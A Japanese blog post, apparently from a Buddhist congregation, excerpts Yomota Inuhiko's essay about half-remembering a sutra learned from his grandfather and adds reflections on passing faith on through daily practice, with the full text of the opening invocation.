大法輪10月号に記載の随筆を紹介します。
『うろ覚えのお経』 四方田犬彦 (映像論・比較文化研究家)
「小学校に上がるか上がらないころ、意味もわからないままにお経を覚えた。
祖父が大きな仏壇に飾られている、黒い顔をした尊師様に向かってお経を唱えているのをかたわらで聴いているうちに、いつしかそれを真似て唱和するようになったのである。
ムシイライザイショウショウメツコンジツニイタルマデ ホンモンハッポンショケンジョウギョウショデン、ホンインゲシュノ ナムミョウホウレンゲーショ
本当はもっと長く、キチンと記憶していた。祖父母の前で其れを唱えると、ときにお小遣いがもらえたから、真剣に唱えることができたのだ。長い歳月のうちに記憶がすり減ってしまい。途切れ途切れになってしまったのが残念でならない。
ちなみに冒頭の「ムシイライ」とは「仏師以来」のことである。子供だから聞き間違えたまま、憶えてしまった。 とはいえカタコトではあるがお経を覚えていて感謝されたことがこれまで二回あった。云々」
以下、ベオグラードと萬洲を訪れた時の話が書かれております。続きは本紙でお読み下さい。この方は大阪の御信者さんのお孫さんに当たる方だそうです。うろ覚えのままになってしまったのが残念な事ですが、それでも子供の頃に覚えたことは何時までの記憶に残るのです。
随筆での「祖父のかたわらで」という姿を見せる御信心がとても大事なことなのです。「生活習慣のなかにある信心」をしっかりと努める姿があればこそ受け継がれて行く日常の生活となるのですが、それを怠り、姿を見せずにいては何を受け継げば良いか分るはずもありません。
特別なことではなく、日常生活の「常」が受け継がれて行く事を肝に銘じましょう。
ちなみに「ムシイライ」は「無始已来」と書き、正確には…
「無始已来、謗法罪障消滅、今身より、仏身に至まで、持奉る、本門の本尊、本門の戒壇、本門事行、八品所顕、上行所伝本因下種の南無妙法蓮華経(三唱)」
「むしいらい、ほうぼうざいしょうしょうめつ、こんじんより、ぶっしんにいたるまで、たもちたてまつる、ほんもんのほんぞん、ほんもんのかいだん、ほんもんじぎょう、はっぽんしょけん、じょうぎょうしょでん、ほんにんげしゅのなむみょうほうれんげきょう」
このように勤行の始めに読みあげております。
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